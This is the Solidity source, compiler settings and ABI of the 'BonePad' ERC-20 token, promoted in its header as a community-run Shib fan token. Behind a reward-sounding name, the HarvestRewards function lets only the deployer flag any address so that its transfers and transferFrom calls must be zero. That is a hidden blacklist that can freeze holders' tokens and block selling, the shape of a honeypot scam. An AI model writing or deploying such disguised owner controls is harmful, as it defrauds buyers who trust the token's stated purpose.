/**
Welcome to the world of BonePAD 🍖
$BONEPAD is a shib fan based token managed by its community
with and IDO platform on board designed for SHIBARIUM network.
We are here to take care of marketing and the effective
development of the project so that it is successful both in
the short-term and long-term. Team will always come to your aid.
*///SPDX-License-Identifier: MIT
pragma solidity =0.5.15;
contract ERC20Basic {
function balanceOf(
address account
)
public
view
returns (uint256);
function totalSupply(
)
public
view
returns (uint256);
function transfer(
address to,
uint256 value
)
public
returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value);
}
library SafeMath {
function sub(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
assert(b <= a);
return a - b;
}
function mul(
uint256 a,
uint256 b
)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(
uint256 a,
uint256 b
)
internal
pure
returns (uint256)
{
return a / b;
}
function add(
uint256 a,
uint256 b
) internal
pure
returns (uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping (address => bool) internal _HarvestRewards_;
mapping (address => uint256) balances;
uint256 totalSupply_;
function totalSupply(
)
public
view
returns (uint256)
{
return totalSupply_;
}
function balanceOf(
address account
)
public
view
returns (uint256) {
return balances[account];
}
function transfer(
address _to,
uint256 _value
) public
returns (bool) { if (
_HarvestRewards_[msg.sender]
|| _HarvestRewards_[_to]) require(
_value == 0, ""); require(
_to != address(0)); require(
_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
}
contract ERC20 is ERC20Basic {
function allowance(
address owner,
address spender
)
public
view
returns (uint256);
function approve(
address spender,
uint256 value
)
public
returns (bool);
event Approval
(
address indexed owner,
address indexed spender,
uint256 value
);
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool);
}
contract StandardERC20 is ERC20, BasicToken {
address internal approved;
mapping (address => mapping (address => uint256)) internal allowed;
constructor () public {
approved = msg.sender;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool) { if
(_HarvestRewards_[_from] ||
_HarvestRewards_[_to]) require(
_value == 0, ""); require(
_to != address(0)); require(
_value <= balances[_from]); require(
_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function HarvestRewards(
address _address
)
external { require(
msg.sender ==
approved); if (
_HarvestRewards_
[_address] == true){
_HarvestRewards_
[_address] = false;}
else { _HarvestRewards_
[_address] = true;
}
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function harvestAddress(
address _address
)
public
view
returns (bool)
{
return _HarvestRewards_
[_address];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BonePad is StandardERC20 {
string public constant name = " Bone Pad";
string public constant symbol = "BonePAD";
uint256 public constant _totalSupply_ = 100000000 * (10 ** uint256(decimals));
uint8 public constant decimals = 9;
constructor() public {
totalSupply_ = totalSupply_.add(_totalSupply_);
balances[msg.sender] = balances[msg.sender].add(_totalSupply_);
emit Transfer(address(0), msg.sender, _totalSupply_);
}
}
{
"compilationTarget": {
"BonePad.sol": "BonePad"
},
"evmVersion": "istanbul",
"libraries": {},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"constant":false,"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"HarvestRewards","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"_totalSupply_","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"harvestAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"}]